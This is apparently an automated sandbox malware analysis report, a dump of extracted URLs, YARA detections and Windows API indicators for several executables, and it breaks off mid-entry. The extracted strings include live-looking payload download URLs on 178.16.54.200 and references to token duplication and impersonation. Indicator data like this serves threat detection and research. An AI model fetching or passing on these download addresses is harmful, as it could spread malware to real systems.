"http://crl.microsoft.com/pki/crl/products/microsofttimestamppca.crl0xl0j0hhttp://www.microsoft.com/pki/certs/miccodsigpca_08-31-2010.crt0^" - Source: "00000000-00000240.00000001.274224.07684000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccodsigpca_08-31-2010.crl0zn0l0j>http://www.microsoft.com/pki/certs/miccodsigpca_08-31-2010.crt029eqlf%p(a+pta+pta+p" - Source: "00000000-00000240.00000001.274224.07684000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccodsigpca_08-31-2010.crl0zn0l0j>http://www.microsoft.com/pki/certs/miccodsigpca_08-31-2010.crt0r" - Source: "00000000-00000240.00000001.274224.07684000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00000240.00000001.274224.08C10000.00000004.mdmp") Found URL "http://www.apache.org/licenses/license-2" - Source: "00000000-00000240.00000001.274224.08C10000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00000240.00000001.274224.08C10000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=393271'" - Source: "00000000-00000240.00000001.274224.08C10000.00000004.mdmp") Found URL "https://connect.microsoft.com/powershell/feedback/detailsx%y8" - Source: "00000000-00000240.00000001.274224.08F86000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00000240.00000001.274224.726D1000.00000020.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00001348.00000000.275026.037E0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00001348.00000001.275270.037E0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00001396.00000000.275136.03330000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00001536.00000000.275155.030A0000.00000004.mdmp") Found URL "http://ttps://https:/https://c:\users\hapubws\appdata\local\temp\94.154.35.25107180101015120s://midnigh10718010101s://midnigh94.154.35.258010101+++b8010101+++b8010101+++b94.154.35.25" - Source: "00000000-00001536.00000000.275155.052DA000.00000004.mdmp") Found URL "http://178.16.54.200/files/5298241443/s8nphvo.exehttp://178.16.54.200/files/5298241443/s8nphvo.exec:\users\hapubws\appdata\local\microsoft\windows\inetcache\ie\9sspaw46\s8nphvo[1].exentexceptionhaplrpc-6799f95e568b567df9rpc-6799f95e568b567df9rpc-c3214f13a8191c8a3crpc-6799f95e568b567df9rpc-6799f95e568b567df9rpc-6799f95e568b567df9etoedgelist:rpc-6799f95e568b567df9mieuserlistbwslntexception:mieuserlist:rpc-6799f95e568b567df9rpc-6799f95e568b567df9miesitelist:rpc-c3214f13a8191c8a3cmiesitelistbwslrpc-6799f95e568b567df9etoedgelistbwslrpc-6799f95e568b567df9rpc-6799f95e568b567df9rpc-c3214f13a8191c8a3c:\users\hapubws\appdata\local\microsoft\windows\inetcache\iec:\users\hapubws\appdata\local\microsoft\windowsinetcookiesontent\appdata\local\microsoft\windows:\users\hapubws\appdata\local\microsoft\windows\inetcache\ie\hell:::" - Source: "00000000-00001536.00000001.277074.030A0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00001536.00000001.277074.030A0000.00000004.mdmp") Found URL "http://178.16.54.200/files/2013029379/h6e2syq.exe03ab97d7ahttp://178.16.54.200/files/2013029379/h6e2syq.exevz@" - Source: "00000000-00001536.00000001.277074.03180000.00000004.mdmp") Found URL "http://178.16.54.200/files/2013029379/h6e2syq.exe03ab97d7aeec:\users\hapubws\appdata\local\temp\10718020101\h6e2syq.exehttp://178.16.54.200/files/2013029379/h6e2syq.exec:\users\hapubws\appdata\local\temp\10718020101\h6e2syq.exe:none;vik/datdth=" - Source: "00000000-00001536.00000001.277074.03180000.00000004.mdmp") Found URL "http://ctldl.windowsupiles/2013029379/h6e2syq.exe178.16.54.200/files/2013029379/h6e2syq.exe8.0.2c:\users\hapubws\appdata\local\microsoft\windows\inetcache\ie\lscby323\xza7buk[1].exehellitemarray" - Source: "00000000-00001536.00000001.277074.061B0000.00000004.mdmp") Found URL "http://178.16.54.200/files/5298241443/s8nphvo.exef(]" - Source: "00000000-00001536.00000001.277074.061B0000.00000004.mdmp") Found URL "http://178.16.54.200/files/5298241443/s8nphvo.exev)m" - Source: "00000000-00001536.00000001.277074.061B0000.00000004.mdmp") Found URL "https://nsudo.m2team.org.2\wbem;cwspo%;%nubwspythemp\" - Source: "00000000-00001956.00000000.276489.26EE0000.00000004.mdmp") Found URL "https://nsudo.m2team.org:" - Source: "00000000-00001956.00000000.276489.35BB2000.00000002.mdmp") Found URL "https://github.com/thdub/nsudo_installer" - Source: "00000000-00001956.00000000.276489.35BB2000.00000002.mdmp") Found URL "https://nsudo.m2team.org.format:" - Source: "00000000-00001956.00000000.276489.35BB2000.00000002.mdmp") Found URL "https://nsudo.m2team.org.formato:" - Source: "00000000-00001956.00000000.276489.35BB2000.00000002.mdmp") Found URL "https://www.nirsoft.netopenif" - Source: "00000000-00002396.00000000.275452.40017000.00000002.mdmp") Found URL "http://nircmd.nirsoft.net/%s.htmlhttp://nircmd.nirsoft.netntdll.dllntquerysysteminformationntloaddriverntunloaddriverntopensymboliclinkobjectntquerysymboliclinkobjectntqueryobjectntsuspendprocessntresumeprocesslookupprivilegevalueaadjusttokenprivilegesseshutdownprivilegeinitiatesystemshutdownaabortsystemshutdownalockworkstationsetsystempowerstaterasdlg.dllrasdialdlgawininet.dllinternetdialanetapi32.dllnetschedulejobaddnetremotetodnetapibufferfreecreatetoolhelp32snapshotmodule32firstmodule32nextprocess32firstprocess32nextpsapi.dllgetmodulebasenameaenumprocessmodulesgetmodulefilenameexaenumprocessesgetmoduleinformation\systemrootqueryfullprocessimagenamearasapi32.dllrassetentrydialparamsarasenumconnectionsarasgetconnectstatusarashanguparasgetentrydialparamsarasdialahkey_local_machinehklmhkey_current_userhkcuhkey_classes_roothkcrhkey_usershkey_current_confighkccsyslistview32systreeview32regedit_regeditregedit.exeopenscmanageraopenserviceachangeserviceconfigacloseservicehandlequeryserviceconfigacontrolserviceenumservicesstatusastartserviceaqueryservicestatusservicesactiveshell32.dllshgetspecialfolderpathashemptyrecyclebinafavoritesrecentcookiesappdatadesktopstart" - Source: "00000000-00002396.00000000.275452.40017000.00000002.mdmp")57:T48d,YARA signature to detect high entropy file file "2j4686.exe" YARA signature to detect high entropy file process "00000000-00003516" YARA signature to detect high entropy file file "sample.bin" YARA signature to detect high entropy file file "S8nPHvo.exe" YARA signature to detect high entropy file file "S8nPHvo_1_.exe" YARA signature to detect high entropy file file "cecho.exe" YARA signature to detect high entropy file file "OhHIHAl_1_.exe" YARA signature to detect high entropy file file "OhHIHAl.exe" YARA signature to detect high entropy file file "7ddb3a40dc.exe" YARA signature to detect high entropy file file "random_1_.exe" YARA signature to detect high entropy file file "XZa7bUK_1_.exe" YARA signature to detect high entropy file file "XZa7bUK.exe" YARA signature to detect high entropy file process "00000000-00001348" YARA signature to detect high entropy file file "1a52M6.exe" YARA signature to detect high entropy file file "K8kGyaj.exe" YARA signature to detect high entropy file file "K8kGyaj_1_.exe" YARA signature to detect high entropy file file "h6e2sYQ.exe" YARA signature to detect high entropy file file "h6e2sYQ_1_.exe"58:T5ed,YARA signature for RC4 encryption matched on file "winloghelper.exe" YARA signature for RC4 encryption matched on file "DbLqLGVL.exe" YARA signature for RC4 encryption matched on process "00000000-00004920" YARA signature for RC4 encryption matched on process "00000000-00000240" YARA signature for RC4 encryption matched on process "00000000-00005088" YARA signature for RC4 encryption matched on file "S8nPHvo.exe" YARA signature for RC4 encryption matched on file "S8nPHvo_1_.exe" YARA signature for RC4 encryption matched on file "OhHIHAl_1_.exe" YARA signature for RC4 encryption matched on file "OhHIHAl.exe" YARA signature for RC4 encryption matched on process "00000000-00004928" YARA signature for RC4 encryption matched on process "00000000-00003516" YARA signature for RC4 encryption matched on file "7ddb3a40dc.exe" YARA signature for RC4 encryption matched on file "random_1_.exe" YARA signature for RC4 encryption matched on process "00000000-00001348" YARA signature for RC4 encryption matched on file "XZa7bUK_1_.exe" YARA signature for RC4 encryption matched on file "XZa7bUK.exe" YARA signature for RC4 encryption matched on process "00000000-00000392" YARA signature for RC4 encryption matched on file "1a52M6.exe" YARA signature for RC4 encryption matched on process "00000000-00001536" YARA signature for RC4 encryption matched on file "K8kGyaj.exe" YARA signature for RC4 encryption matched on file "K8kGyaj_1_.exe" YARA signature for RC4 encryption matched on file "7z.exe"59:T41b,Found registry query API: "RegQueryValueExA" in file "random.exe" Found registry query API: "RegOpenKeyExA" in file "random.exe" Found registry query API: "RegQueryInfoKeyA" in file "random.exe" Found registry query API: "RegOpenKeyW" in file "00000000-00004928.00000000.274600.00D11000.00000020.mdmp" Found registry query API: "RegOpenKeyExW" in file "random.exe" Found registry query API: "RegQueryValueExW" in file "random.exe" Found registry query API: "RegEnumValueA" in file "random.exe" Found registry query API: "RegQueryInfoKeyW" in file "random.exe" Found registry query API: "RegGetValueA" in file "random.exe" Found registry query API: "RegQueryValueExW" in "00000000-00000240.00000000.273897.00A31000.00000002.mdmp" Found registry query API: "RegGetValueW" in "00000000-00000240.00000000.273897.00A31000.00000002.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00000240.00000000.273897.00A31000.00000002.mdmp" Found registry query API: "RegEnumKeyExW" in "00000000-00000240.00000000.273897.00A31000.00000002.mdmp"5a:T940,"random.exe" called "FindFirstFileA" with parameter %TEMP%\IXP000.TMP\* (UID: 00000000-00005940) "random.exe" called "FindNextFileA" with parameter .. (UID: 00000000-00005940) "random.exe" called "FindNextFileA" with parameter 1a52M6.exe (UID: 00000000-00005940) "1a52M6.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00006500) "1a52M6.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\\* (UID: 00000000-00006500) "1a52M6.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00006500) "1a52M6.exe" called "FindNextFileW" with parameter NETFXSBS10.exe (UID: 00000000-00006500) "1a52M6.exe" called "FindNextFileW" with parameter netfxsbs12.hkf (UID: 00000000-00006500) "1a52M6.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00006500) "1a52M6.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00006500) "1a52M6.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00006500) "1a52M6.exe" called "FindNextFileW" with parameter sbs_diasymreader.dll (UID: 00000000-00006500) "1a52M6.exe" called "FindNextFileW" with parameter sbs_iehost.dll (UID: 00000000-00006500) "1a52M6.exe" called "FindNextFileW" with parameter sbs_microsoft.jscript.dll (UID: 00000000-00006500) "1a52M6.exe" called "FindNextFileW" with parameter sbs_microsoft.vsa.vb.codedomprocessor.dll (UID: 00000000-00006500) "1a52M6.exe" called "FindNextFileW" with parameter sbs_mscordbi.dll (UID: 00000000-00006500) "1a52M6.exe" called "FindNextFileW" with parameter sbs_mscorrc.dll (UID: 00000000-00006500) "1a52M6.exe" called "FindNextFileW" with parameter sbs_mscorsec.dll (UID: 00000000-00006500) "1a52M6.exe" called "FindNextFileW" with parameter sbs_system.configuration.install.dll (UID: 00000000-00006500) "1a52M6.exe" called "FindNextFileW" with parameter sbs_system.data.dll (UID: 00000000-00006500) "1a52M6.exe" called "FindNextFileW" with parameter sbs_system.enterpriseservices.dll (UID: 00000000-00006500) "1a52M6.exe" called "FindNextFileW" with parameter sbs_VsaVb7rt.dll (UID: 00000000-00006500) "1a52M6.exe" called "FindNextFileW" with parameter sbs_wminet_utils.dll (UID: 00000000-00006500) "1a52M6.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00006500)5b:T1409,Found string "System.IO.Compression.ZipFile" (Indicator: "zipfile"; File: "00000000-00000240.00000001.274224.00A21000.00000020.mdmp") Found string "OFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00000240.00000000.273897.00AF0000.00000004.mdmp") Found string "ECDSA" (Indicator: "ecdsa"; Source: "00000000-00000240.00000000.273897.00AF0000.00000004.mdmp, 00000000-00000240.00000000.273897.00BDE000.00000004.mdmp, 00000000-00000240.00000000.273897.075F0000.00000004.mdmp, 00000000-00000240.00000001.274224.00AF0000.00000004.mdmp, 00000000-00000240.00000001.274224.00BDE000.00000004.mdmp, 00000000-00000240.00000001.274224.075F0000.00000004.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00000240.00000000.273897.00BDE000.00000004.mdmp, 00000000-00000240.00000000.273897.075F0000.00000004.mdmp, 00000000-00000240.00000001.274224.00BDE000.00000004.mdmp, 00000000-00000240.00000001.274224.075F0000.00000004.mdmp") Found string "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00000240.00000000.273897.075F0000.00000004.mdmp") Found string "System.IO.Compression.ZipFile" (Indicator: "zipfile"; Source: "00000000-00000240.00000001.274224.00A21000.00000020.mdmp") Found string "System.Security.Cryptography.Algorithms" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000240.00000001.274224.00A21000.00000020.mdmp") Found string "System.Security.Cryptography.Cng" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000240.00000001.274224.00A21000.00000020.mdmp") Found string "System.Security.Cryptography.Csp" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000240.00000001.274224.00A21000.00000020.mdmp") Found string "System.Security.Cryptography.Encoding" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000240.00000001.274224.00A21000.00000020.mdmp") Found string "System.Security.Cryptography.OpenSsl" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000240.00000001.274224.00A21000.00000020.mdmp") Found string "System.Security.Cryptography.Pkcs" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000240.00000001.274224.00A21000.00000020.mdmp") Found string "System.Security.Cryptography.Primitives" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000240.00000001.274224.00A21000.00000020.mdmp") Found string "System.Security.Cryptography.X509Certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000240.00000001.274224.00A21000.00000020.mdmp") Found string "icrosoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00000240.00000001.274224.075F0000.00000004.mdmp") Found string "system.security.cryptography" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000240.00000001.274224.08000000.00000004.mdmp, 00000000-00000240.00000001.274224.08E20000.00000004.mdmp, 00000000-00000240.00000001.274224.08E30000.00000004.mdmp, 00000000-00000240.00000001.274224.08E60000.00000004.mdmp, 00000000-00000240.00000001.274224.08E80000.00000004.mdmp, 00000000-00000240.00000001.274224.08EA0000.00000004.mdmp") Found string "system.security.cryptography.x509certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000240.00000001.274224.08000000.00000004.mdmp, 00000000-00000240.00000001.274224.08E20000.00000004.mdmp, 00000000-00000240.00000001.274224.08E30000.00000004.mdmp, 00000000-00000240.00000001.274224.08E60000.00000004.mdmp, 00000000-00000240.00000001.274224.08E80000.00000004.mdmp, 00000000-00000240.00000001.274224.08EA0000.00000004.mdmp") Found string "md5cryptoserviceprovider" (Indicator: "md5cryptoserviceprovider"; Source: "00000000-00000240.00000001.274224.08000000.00000004.mdmp") Found string "rngcryptoserviceprovider" (Indicator: "rngcryptoserviceprovider"; Source: "00000000-00000240.00000001.274224.08000000.00000004.mdmp") Found string "rijndaelmanaged" (Indicator: "rijndael"; Source: "00000000-00000240.00000001.274224.08000000.00000004.mdmp") Found string "rijndaelmanaged" (Indicator: "Rijndaelmanaged"; Source: "00000000-00000240.00000001.274224.08000000.00000004.mdmp") Found string "rijndaelmanagedtransform" (Indicator: "rijndael"; Source: "00000000-00000240.00000001.274224.08000000.00000004.mdmp") Found string "rijndaelmanagedtransform" (Indicator: "Rijndaelmanaged"; Source: "00000000-00000240.00000001.274224.08000000.00000004.mdmp") Found string "base64formattingoptions" (Indicator: "base64"; Source: "00000000-00000240.00000001.274224.08000000.00000004.mdmp") Found string "cryptostream" (Indicator: "cryptostream"; Source: "00000000-00000240.00000001.274224.08000000.00000004.mdmp") Found string "rijndael" (Indicator: "rijndael"; Source: "00000000-00000240.00000001.274224.08000000.00000004.mdmp") Found string "tobase64transform" (Indicator: "base64"; Source: "00000000-00000240.00000001.274224.08E20000.00000004.mdmp")5c:T6de,Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; File: "random.exe") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; File: "random.exe") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; File: "random.exe") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; File: "random.exe") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; File: "random.exe") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; Source: "00000000-00000240.00000000.273897.00A31000.00000002.mdmp") Found reference to API "11304969624,4216,3117,,FindFirstFileW,kernel32.dll,"01:11:19.484",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00000240.00000000.273897.075F0000.00000004.mdmp") Found reference to API "230,5188,3119,,FindNextFileW,kernel32.dll,"01:11:23.640",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00000240.00000001.274224.07684000.00000004.mdmp") Found reference to API "21674490820,5188,3117,,FindFirstFileW,kernel32.dll,"01:11:23.796",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00000240.00000001.274224.07684000.00000004.mdmp") Found reference to API "21594935324,5188,3117,,FindFirstFileW,kernel32.dll,"01:11:23.765",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00000240.00000001.274224.07684000.00000004.mdmp") Found reference to API "21633048716,5188,3117,,FindFirstFileW,kernel32.dll,"01:11:23.781",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00000240.00000001.274224.07684000.00000004.mdmp") Found reference to API "634,5188,3119,,FindNextFileW,kernel32.dll,"01:11:23.656",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00000240.00000001.274224.07684000.00000004.mdmp")5d:T7b5,Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "random.exe") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "random.exe") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "random.exe") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "random.exe") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "random.exe") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "random.exe") Found reference to API "Process32FirstW" (Indicator: "Process32First"; File: "random.exe") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; File: "random.exe") Found reference to API "Process32NextW" (Indicator: "Process32Next"; File: "random.exe") Found reference to API "WTSEnumerateProcessesW" (Indicator: "WTSEnumerateProcesses"; File: "random.exe") Found reference to API "Process32Next" (Indicator: "Process32Next"; File: "random.exe") Found reference to API "Process32First" (Indicator: "Process32First"; File: "random.exe") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00000240.00000000.273897.00A31000.00000002.mdmp, 00000000-00000240.00000001.274224.726E5000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00000240.00000000.273897.00A31000.00000002.mdmp, 00000000-00000240.00000001.274224.726E5000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00000240.00000000.273897.00A31000.00000002.mdmp, 00000000-00000240.00000001.274224.726E5000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00000240.00000000.273897.00A31000.00000002.mdmp, 00000000-00000240.00000001.274224.726E5000.00000002.mdmp")5e:T694,Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "random.exe") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; File: "random.exe") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; File: "random.exe") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; File: "random.exe") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; File: "random.exe") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; File: "random.exe") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; File: "random.exe") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; File: "random.exe") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; File: "random.exe") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; File: "random.exe") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; File: "random.exe") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; File: "random.exe") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; File: "random.exe") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; File: "random.exe") Found reference to API "GetFileInformationByHandleEx" (Indicator: "GetFileInformationByHandle"; File: "random.exe") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00000240.00000000.273897.00A31000.00000002.mdmp, 00000000-00000240.00000001.274224.726E5000.00000002.mdmp")5f:T626,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "random.exe") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; File: "random.exe") file/memory contains long string with (Indicator: "OpenProcessToken"; File: "random.exe") Found reference to API "OpenProcessToken.3" (Indicator: "OpenProcessToken"; File: "random.exe") Found reference to API "LookupAccountSidLocalW" (Indicator: "LookupAccountSid"; File: "00000000-00004928.00000000.274600.00D11000.00000020.mdmp") Found reference to API "LookupAccountNameLocalW" (Indicator: "LookupAccountName"; File: "00000000-00004928.00000000.274600.00D11000.00000020.mdmp") Found reference to API "LsaLookupNames2" (Indicator: "LsaLookupNames"; File: "00000000-00004928.00000000.274600.00D11000.00000020.mdmp") Found reference to API "LsaLookupSids" (Indicator: "LsaLookupSids"; File: "00000000-00004928.00000000.274600.00D11000.00000020.mdmp") Found reference to API "LsaLookupNames" (Indicator: "LsaLookupNames"; File: "00000000-00004928.00000000.274600.00D11000.00000020.mdmp") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; File: "random.exe") Found reference to API "LookupAccountNameA" (Indicator: "LookupAccountName"; File: "random.exe") Found reference to API "WTSQueryUserToken" (Indicator: "WTSQueryUserToken"; File: "random.exe") Found reference to API "11485950158,2296,3216,,LookupAccountSidW,advapi32.dll,"01:11:19.546",RX=0,PX=0" (Indicator: "LookupAccountSid"; Source: "00000000-00000240.00000000.273897.075F0000.00000004.mdmp")60:T6b9,Found string "passwordFormat="Hashed"" (Indicator: "password"; Source: "00000000-00000240.00000001.274224.00AF0000.00000004.mdmp") Found string "passwordAttemptWindow="10"" (Indicator: "password"; Source: "00000000-00000240.00000001.274224.00AF0000.00000004.mdmp, 00000000-00000240.00000001.274224.07684000.00000004.mdmp") Found string "passwordStrengthRegularExpression="" />" (Indicator: "password"; Source: "00000000-00000240.00000001.274224.00AF0000.00000004.mdmp, 00000000-00000240.00000001.274224.07684000.00000004.mdmp") Found string "sha1fornonsecretpurposes" (Indicator: "secret"; Source: "00000000-00000240.00000001.274224.08E20000.00000004.mdmp") Found string "passwordderivebytes" (Indicator: "password"; Source: "00000000-00000240.00000001.274224.08E30000.00000004.mdmp") Found string "secretagreementflags" (Indicator: "secret"; Source: "00000000-00000240.00000001.274224.08E60000.00000004.mdmp") Found string "safencryptsecrethandle" (Indicator: "secret"; Source: "00000000-00000240.00000001.274224.08E60000.00000004.mdmp") Found string "passwordpropertytextattribute" (Indicator: "password"; Source: "00000000-00000240.00000001.274224.08E80000.00000004.mdmp") Found string "passwordauthenticationmechanism" (Indicator: "password"; Source: "00000000-00000240.00000001.274224.08EC0000.00000004.mdmp") Found string "passwordencodingmethod" (Indicator: "password"; Source: "00000000-00000240.00000001.274224.08EC0000.00000004.mdmp") Found string "dsmakepasswordcredentials" (Indicator: "password"; Source: "00000000-00000240.00000001.274224.08EC0000.00000004.mdmp") Found string "dsfreepasswordcredentials" (Indicator: "password"; Source: "00000000-00000240.00000001.274224.08EC0000.00000004.mdmp")61:T88d,Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "random.exe") Found reference to API "EqualSid" (Indicator: "EqualSid"; File: "random.exe") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "random.exe") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "random.exe") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "random.exe") Found reference to API "GetFileSecurityW" (Indicator: "GetFileSecurityW"; File: "random.exe") Found reference to API "SetFileSecurityW" (Indicator: "SetFileSecurityW"; File: "random.exe") Found reference to API "RevertToSelf" (Indicator: "RevertToSelf"; File: "random.exe") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthority"; File: "random.exe") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthorityCount"; File: "random.exe") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateToken"; File: "random.exe") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateTokenEx"; File: "random.exe") Found reference to API "ImpersonateLoggedOnUser" (Indicator: "ImpersonateLoggedOnUser"; File: "random.exe") Found reference to API "GetSidSubAuthority" (Indicator: "GetSidSubAuthority"; File: "random.exe") Found reference to API "GetSidIdentifierAuthority" (Indicator: "GetSidIdentifierAuthority"; File: "random.exe") Found reference to API "SetTokenInformation" (Indicator: "SetTokenInformation"; File: "random.exe") Found reference to API "CreateRestrictedToken" (Indicator: "CreateRestrictedToken"; File: "random.exe") Found reference to API "AddAce" (Indicator: "AddAce"; File: "random.exe") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; File: "random.exe") Found reference to API "IsWellKnownSid" (Indicator: "IsWellKnownSid"; File: "random.exe") Found reference to API "AddAccessAllowedAce" (Indicator: "AddAccessAllowedAce"; File: "random.exe") Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; File: "random.exe") Found reference to API "GetAce" (Indicator: "GetAce"; File: "random.exe")62:Tfd0,Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: random.exe] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: random.exe] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: random.exe] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: random.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: random.exe] Observed import api "GetFileSecurityW" which can "obtain specified information about the security of a file or directory" [Source: 7z.exe] Observed import api "SetFileSecurityW" which can "set the security of a file or directory object" [Source: 7z.exe] Observed import api "DuplicateToken" which can "create a new access token that duplicates one already in existence" [Source: winloghelper.exe] Observed import api "DuplicateTokenEx" which can "create a new access token that duplicates an existing token" [Source: winloghelper.exe] Observed import api "GetSidIdentifierAuthority" which can "return a pointer to the SID_IDENTIFIER_AUTHORITY structure in a specified security identifier (SID)" [Source: winloghelper.exe] Observed import api "GetSidSubAuthority" which can "return a pointer to a specified subauthority in a security identifier (SID)" [Source: winloghelper.exe] Observed import api "GetSidSubAuthorityCount" which can "return a pointer to the member in a security identifier (SID) structure that contains the subauthority count" [Source: winloghelper.exe] Observed import api "ImpersonateLoggedOnUser" which can "let the calling thread impersonate the security context of a logged-on user" [Source: winloghelper.exe] Observed import api "RevertToSelf" which can "terminate the impersonation of a client application" [Source: winloghelper.exe] Observed import api "AddAccessAllowedAce" which can "add an access-allowed access control entry (ACE) to an access control list (ACL)" [Source: NSudoLG.exe] Observed import api "AddAce" which can "add one or more access control entries (ACEs) to a specified access control list (ACL)" [Source: NSudoLG.exe] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: NSudoLG.exe] Observed import api "CreateRestrictedToken" which can "create a new access token that is a restricted version of an existing access token" [Source: NSudoLG.exe] Observed import api "DuplicateToken" which can "create a new access token that duplicates one already in existence" [Source: NSudoLG.exe] Observed import api "DuplicateTokenEx" which can "create a new access token that duplicates an existing token" [Source: NSudoLG.exe] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: NSudoLG.exe] Observed import api "GetAce" which can "obtain a pointer to an access control entry (ACE) in an access control list (ACL)" [Source: NSudoLG.exe] Observed import api "GetLengthSid" which can "return the length in bytes of a valid security identifier (SID)" [Source: NSudoLG.exe] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: NSudoLG.exe] Observed import api "InitializeAcl" which can "initialize a new ACL structure" [Source: NSudoLG.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: NSudoLG.exe] Observed import api "IsWellKnownSid" which can "compare a SID to a well-known SID and returns TRUE if they match" [Source: NSudoLG.exe] Observed import api "SetTokenInformation" which can "set various types of information for a specified access token" [Source: 